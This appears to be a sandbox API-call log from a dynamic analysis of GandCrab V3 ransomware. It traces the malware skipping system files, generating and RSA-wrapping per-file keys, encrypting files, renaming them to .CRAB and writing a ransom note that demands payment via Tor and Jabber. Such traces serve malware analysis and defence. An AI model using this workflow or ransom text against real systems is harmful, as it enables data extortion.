	[0125.637] CryptEncrypt (in: hKey=0x3158a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0125.637] GetLastError () returned 0x0
	[0125.638] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.638] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\CzbfoDLAlNUP.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\czbfodlalnup.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0125.638] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.638] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.639] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x3b15, lpOverlapped=0x0) returned 1
	[0125.651] VirtualAlloc (lpAddress=0x0, dwSize=0x3b20, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.652] VirtualAlloc (lpAddress=0x0, dwSize=0x3b20, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.652] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.653] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffc4eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.653] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x3b20, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x3b20, lpOverlapped=0x0) returned 1
	[0125.653] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.653] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.657] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0125.657] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0125.657] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0125.657] CloseHandle (hObject=0x3ec) returned 1
	[0125.658] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.658] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.658] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.658] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.659] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.659] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.659] FindNextFileW (in: hFindFile=0x3158b80, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0125.659] lstrcmpW (lpString1="eUoly2Vr92uz.wav", lpString2=".") returned 1
	[0125.659] lstrcmpW (lpString1="eUoly2Vr92uz.wav", lpString2="..") returned 1
	[0125.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="eUoly2Vr92uz.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav"
	[0125.659] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.659] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav") returned 58
	[0125.660] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav") returned 58
	[0125.660] lstrlenW (lpString=".wav") returned 4
	[0125.660] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.660] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0125.660] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.660] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav") returned 58
	[0125.660] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav") returned 58
	[0125.660] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="desktop.ini") returned 1
	[0125.660] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="autorun.inf") returned 1
	[0125.660] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="ntuser.dat") returned -1
	[0125.660] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="iconcache.db") returned -1
	[0125.660] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="bootsect.bak") returned 1
	[0125.660] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="boot.ini") returned 1
	[0125.661] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="ntuser.dat.log") returned -1
	[0125.661] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="thumbs.db") returned -1
	[0125.661] lstrcmpiW (lpString1="eUoly2Vr92uz.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.661] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.661] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB") returned 63
	[0125.661] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\euoly2vr92uz.wav")) returned 0x20
	[0125.661] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav", dwFileAttributes=0x20) returned 1
	[0125.662] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\euoly2vr92uz.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\euoly2vr92uz.wav.crab")) returned 1
	[0125.662] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.663] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB"
	[0125.663] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB.CRAB"
	[0125.663] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0125.663] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.664] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.664] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0125.664] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0125.664] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.664] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0125.666] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.666] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.667] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.667] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0125.667] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.667] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.667] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.668] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.668] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0125.668] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3158900) returned 1
	[0125.668] CryptGetKeyParam (in: hKey=0x3158900, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0125.668] CryptEncrypt (in: hKey=0x3158900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0125.669] GetLastError () returned 0x0
	[0125.669] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.669] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0125.669] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3158880) returned 1
	[0125.669] CryptGetKeyParam (in: hKey=0x3158880, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0125.669] CryptEncrypt (in: hKey=0x3158880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0125.670] GetLastError () returned 0x0
	[0125.670] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.670] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\eUoly2Vr92uz.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\euoly2vr92uz.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0125.670] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.671] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.671] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x1119, lpOverlapped=0x0) returned 1
	[0125.683] VirtualAlloc (lpAddress=0x0, dwSize=0x1120, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.684] VirtualAlloc (lpAddress=0x0, dwSize=0x1120, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.684] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.685] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffeee7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.685] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x1120, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x1120, lpOverlapped=0x0) returned 1
	[0125.685] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.685] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.689] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0125.689] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0125.689] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0125.689] CloseHandle (hObject=0x3ec) returned 1
	[0125.689] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.690] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.690] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.690] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.690] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.691] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.691] FindNextFileW (in: hFindFile=0x3158b80, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0125.691] lstrcmpW (lpString1="FYvItKqurN", lpString2=".") returned 1
	[0125.691] lstrcmpW (lpString1="FYvItKqurN", lpString2="..") returned 1
	[0125.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\", lpString2="FYvItKqurN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN"
	[0125.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\"
	[0125.691] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.691] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0125.691] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0125.692] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0125.692] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0125.692] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.692] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0125.692] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0125.692] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0125.692] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0125.692] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0125.692] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0125.692] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.692] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\\\CRAB-DECRYPT.txt") returned 70
	[0125.692] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0125.693] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0125.693] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0125.694] CloseHandle (hObject=0x3ec) returned 1
	[0125.694] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.694] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\") returned 53
	[0125.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\*"
	[0125.694] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x3158e40
	[0125.696] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0125.696] FindNextFileW (in: hFindFile=0x3158e40, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0125.696] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0125.696] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0125.696] FindNextFileW (in: hFindFile=0x3158e40, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0125.696] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0125.696] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0125.696] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\CRAB-DECRYPT.txt"
	[0125.696] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.699] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\CRAB-DECRYPT.txt") returned 69
	[0125.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\CRAB-DECRYPT.txt") returned 69
	[0125.700] lstrlenW (lpString=".txt") returned 4
	[0125.700] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.700] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0125.700] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\CRAB-DECRYPT.txt") returned 69
	[0125.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\CRAB-DECRYPT.txt") returned 69
	[0125.700] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0125.700] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0125.700] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0125.700] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0125.701] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0125.701] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0125.701] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0125.701] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0125.701] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0125.701] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.701] FindNextFileW (in: hFindFile=0x3158e40, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0125.701] lstrcmpW (lpString1="lxPpLrs8f", lpString2=".") returned 1
	[0125.701] lstrcmpW (lpString1="lxPpLrs8f", lpString2="..") returned 1
	[0125.701] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\", lpString2="lxPpLrs8f" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f"
	[0125.701] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\"
	[0125.701] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0125.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0125.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0125.702] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0125.702] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
